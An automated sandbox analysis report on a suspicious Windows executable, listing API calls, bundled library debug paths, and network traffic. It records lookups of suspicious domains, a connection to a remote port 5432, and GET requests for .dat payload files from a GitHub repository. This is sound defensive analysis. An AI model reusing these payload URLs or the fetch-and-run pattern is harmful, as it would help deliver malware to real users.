Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462740 CRYPTO_zalloc,CRYPTO_zalloc,CRYPTO_zalloc,OPENSSL_cleanse,CRYPTO_free,	26_2_00007FFBAB462740
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42C610 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,OPENSSL_sk_new_null,OPENSSL_sk_push,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB42C610
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4625B0 OPENSSL_cleanse,CRYPTO_free,	26_2_00007FFBAB4625B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4225A0 CRYPTO_strdup,CRYPTO_free,	26_2_00007FFBAB4225A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4445A0 BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,CRYPTO_free,CRYPTO_strdup,	26_2_00007FFBAB4445A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49C5A0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB49C5A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45A5C0 OPENSSL_LH_retrieve,CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_free,CRYPTO_free,	26_2_00007FFBAB45A5C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45E660 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB45E660
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434660 CRYPTO_free,CRYPTO_malloc,memcpy,	26_2_00007FFBAB434660
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462630 OPENSSL_cleanse,CRYPTO_free,	26_2_00007FFBAB462630
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB482630 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB482630
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB44E510 memcmp,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,ERR_set_debug,OSSL_ERR_STATE_new,OSSL_ERR_STATE_save,CRYPTO_free,	26_2_00007FFBAB44E510
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB492500 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	26_2_00007FFBAB492500
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4224D0 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	26_2_00007FFBAB4224D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB438580 CRYPTO_malloc,CRYPTO_realloc,memset,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_new,ERR_set_mark,EVP_KEYMGMT_fetch,X509_STORE_CTX_get0_param,OBJ_create,OBJ_txt2nid,OBJ_txt2nid,OBJ_nid2obj,OBJ_create,OBJ_create,OBJ_create,OBJ_txt2nid,OBJ_txt2nid,OBJ_txt2nid,OBJ_add_sigid,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB438580
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB417BEE CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB417BEE
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB411BE0 CRYPTO_zalloc,	26_2_00007FFBAB411BE0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42BC10 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	26_2_00007FFBAB42BC10
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB481C70 CRYPTO_realloc,	26_2_00007FFBAB481C70
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47FC90 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,memcmp,ERR_new,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,	26_2_00007FFBAB47FC90
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF62B80 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	32_2_00007FFBBAF62B80
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF818A0 CryptHashData,	32_2_00007FFBBAF818A0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB28A0 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,free,CertFreeCertificateContext,	32_2_00007FFBBAFB28A0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF818B0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	32_2_00007FFBBAF818B0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFAFF30 memset,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	32_2_00007FFBBAFAFF30
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB2CC0 memcmp,memcmp,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	32_2_00007FFBBAFB2CC0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB31F0 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,	32_2_00007FFBBAFB31F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF81820 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	32_2_00007FFBBAF81820
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF816F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	32_2_00007FFBBAF816F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF975F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	32_2_00007FFBBAF975F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB04A6 wcschr,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcschr,CertOpenStore,GetLastError,free,free,CryptStringToBinaryW,free,CertFindCertificateInStore,free,CertFreeCertificateContext,CertCloseStore,free,fseek,ftell,fread,fclose,fseek,fclose,MultiByteToWideChar,PFXImportCertStore,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strtol,strchr,strncmp,strncmp,strncmp,strchr,CertFreeCertificateContext,free,	32_2_00007FFBBAFB04A6
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF974E0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	32_2_00007FFBBAF974E0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF97560 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	32_2_00007FFBBAF97560

Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_2a979f99-1

Source: C:\Windows\System32\console_zero.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

32_2_00007FFBBAF98DE0

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49861 version: TLS 1.2

Source: 58VSNPxrI4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848937066.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808546257.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827116011.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2847753443.00007FFBAA01B000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2849098201.00007FFBC31F8000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2849098201.00007FFBC31F8000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848937066.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808546257.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827116011.00007FFBBBD9F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ucrtbased.pdb source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, ucrtbased.dll.13.dr
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: PrintUI.pdb source: 58VSNPxrI4.exe, 00000000.00000003.1683788301.000002B6E7A91000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 0000000D.00000000.1687556930.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp, printui.exe, 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: PrintUI.pdbGCTL source: 58VSNPxrI4.exe, 00000000.00000003.1683788301.000002B6E7A91000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 0000000D.00000000.1687556930.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp, printui.exe, 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp

Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB039A40 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	26_2_00007FFBAB039A40
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0398FC FindClose,FindFirstFileExW,GetLastError,	26_2_00007FFBAB0398FC
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2AC5F4 FindClose,FindFirstFileExW,GetLastError,	32_2_00007FF70F2AC5F4
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2AC668 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	32_2_00007FF70F2AC668

Source: global traffic

TCP traffic: 192.168.2.8:49708 -> 194.26.192.189:5432

Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /resolve?name=unvdwl.com HTTP/1.1Host: dns.googleAccept: /
Source: global traffic	HTTP traffic detected: GET /resolve?name=rootunvdwl.com HTTP/1.1Host: dns.googleAccept: /
Source: global traffic	HTTP traffic detected: GET /runvd01/dwl/raw/refs/heads/main/un1/uusb.dat HTTP/1.1Host: github.comAccept: /
Source: global traffic	HTTP traffic detected: GET /runvd01/dwl/refs/heads/main/un1/uusb.dat HTTP/1.1Host: raw.githubusercontent.comAccept: /

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown

DNS query: name: ipinfo.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\System32\console_zero.exe

Code function: 32_2_00007FFBBAFA2920 recvfrom,memmove,

32_2_00007FFBBAFA2920

Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /resolve?name=unvdwl.com HTTP/1.1Host: dns.googleAccept: /
Source: global traffic	HTTP traffic detected: GET /resolve?name=rootunvdwl.com HTTP/1.1Host: dns.googleAccept: /
Source: global traffic	HTTP traffic detected: GET /runvd01/dwl/raw/refs/heads/main/un1/uusb.dat HTTP/1.1Host: github.comAccept: /
Source: global traffic	HTTP traffic detected: GET /runvd01/dwl/refs/heads/main/un1/uusb.dat HTTP/1.1Host: raw.githubusercontent.comAccept: /

Source: global traffic	DNS traffic detected: DNS query: unvmainx.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: unvdwl.com
Source: global traffic	DNS traffic detected: DNS query: dns.google
Source: global traffic	DNS traffic detected: DNS query: rootunvdwl.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: GitHub.comDate: Fri, 20 Dec 2024 15:21:11 GMTContent-Type: text/html; charset=utf-8Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-WithCache-Control: no-cacheStrict-Transport-Security: max-age=31536000; includeSubdomains; preloadX-Frame-Options: denyX-Content-Type-Options: nosniffX-XSS-Protection: 0Referrer-Policy: no-referrer-when-downgrade
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: E7DD:1E2FCC:102100F:11FBC66:67658B77Accept-Ranges: bytesDate: Fri, 20 Dec 2024 15:21:28 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740054-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1734708088.395102,VS0,VE8Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: f4ac69695fb846c7d8c2b5d2b72fff0393e58471Expires: Fri, 20 Dec 2024 15:26:28 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:20:31 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:20:38 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:20:52 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-alive

Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2846258321.00000000682A4000.00000008.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.gnu.org/licenses/
Source: svchost.exe	String found in binary or memory: http://www.zlib.net/
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848995492.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808573202.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827153646.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: svchost.exe, console_zero.exe	String found in binary or memory: https://curl.se/
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848835181.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808475835.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826970264.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/V
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: console_zero.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: svchost.exe, console_zero.exe	String found in binary or memory: https://curl.se/docs/copyright.html
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848835181.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808475835.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826970264.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: console_zero.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: console_zero.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808210205.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 00000020.00000000.1749217813.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000002A.00000002.1826480187.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000002A.00000000.1764823946.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://dns.google/resolve?name=
Source: svchost.exe, 0000001A.00000002.2847028150.0000013B84463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/uamd.dat
